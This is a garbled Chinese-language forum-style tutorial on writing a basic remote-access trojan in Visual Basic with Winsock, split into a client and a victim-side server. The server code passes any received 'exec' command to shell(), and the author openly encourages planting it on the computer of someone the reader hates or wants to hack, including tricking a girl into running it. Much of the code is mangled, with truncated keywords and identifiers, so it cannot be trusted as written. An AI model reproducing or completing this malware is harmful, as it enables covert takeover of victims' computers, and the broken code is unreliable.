?今天我為大家講如何用vb編寫“木馬“程序
木馬一般分為兩個主程序:一個是服務器端的程序(server),另一個是客戶端程序(t),服務器程序是給
攻擊對象用的,千萬不可用錯了----給自己種馬的人......^0^
客戶程序才是給自己用的,于是我們就用vb建立兩個程序,一個為服務器端程序cockhorseserver,另一個為
客戶端程序cockhorset.
先在cockhorset程序中建立一個窗體,加載一個insock控件,稱為tcpt,再加上兩個文本框,用來
輸入服務器的ip地址和端口號.另外還要建立一個按鈕,按下后可以對連接進行初始化.
代碼我寫下:
privatesubmand1_click
調(diào)用ect方法,初始化連接.
=
=val()這是端口號,默認為100和指定的ip相對的計算機相連接
=false
endsub
(在收到數(shù)據(jù)之后,就要對這些數(shù)據(jù)做出相應的處理,使用dataarrival事件,可以方便運載數(shù)據(jù)進操作.
privatesubtcpt_dataarrival(byvalbytestotallong)
dimstrdatastrinstrdata
strdata=“testect“the=“ectok“+vbneline+localip“:“+-+“putername:“+
=+vbneline+“remoteis:“+-+“putername:“+
instr(trim(strdata),“closeok?“)>0the
end
endi=+vbneline++“:“+strdata
endsub
endsub
這是這一段代碼
cockhorset程序的核心部分就是這些,下面我講cockhorseserver程序
cockhorseserver程序也是先建立一個窗體,也要加載一個insock控件,(方便一些,我在同一個工程下建立這
個窗體).如果當cockhorset程序運行時,cockhorset程序就會對cockhorseserver發(fā)出連接請求,
為了完成這個連接任務,可以用erequest事件來完成,然后就是具體的錯誤情況的表達.
代碼我打出來:
index=0then
intmax=intmax+1
loadtcpserver(intmax)
tcpserver(intmax).localport=0
tcpserver(intmax).acceptrequestid
dditem(tcpserver(intmax).remotehostip)
xt=“填上你的恨的人的ip吧!“
tcpserver(intmax).nddata“testect“
end
呵呵.剛才忘記定義名稱了
它的效果是:在cockhorset程序被按下的時候,cockhorseserver程序的erequest事件被觸發(fā),
從而執(zhí)行上面的程序,產(chǎn)生連接.
現(xiàn)在的cockhorseserver程序只能做鏈接,還不能處理cockhorset程序所發(fā)出的指令,我們還必需用
dataarrival事件.
代碼是這樣的:
privatesubtcpserver_dataarrival(ieger,byvalbytestotallong)
dimstrdatastring
dimcheck_blong
erroerr_pro
tcpserver(index).getdatastrdata
check_blong=instr(trim(strdata),“exec“)
check_blong>0then
strdata=trim(strdata)
strdata=right((strdata)-4)
=+vbnelicpserver(index).remotehostip+““+“要求執(zhí)行下面的程序：“+strdata
shell(strdata)
else
check_blong=instr(trim(strdata),“closeok“)
check_blong>0then
tcpserver(index).close
(index-1)
=+vbnelicpserver(index).remotehostip+““+“已經(jīng)斷開！“
els=tcpserver(index).remotehosti=+vbnelicpserver(index).remotehostip+““+strdata
end
endsub
end
err_pro:
err=53then
msgbox“所執(zhí)行的程序的路徑有錯誤!“,+tcpserver(index).remotehostip+“該程序在執(zhí)行時被拒絕!“
tcpserver(index).nddata““
end
resume
endsub
這樣,cockhorseserver程序就完了,這就是一個最基本的木馬程序,你用它就可以把你想要黑的人的電腦搞定!至于怎么讓mm運行你編寫的木馬服務端程序,那就是你的自己的事情啦!
好了.大概就是這樣.控件名稱呢.自己定義.我也好長時間沒碰vb了.呵呵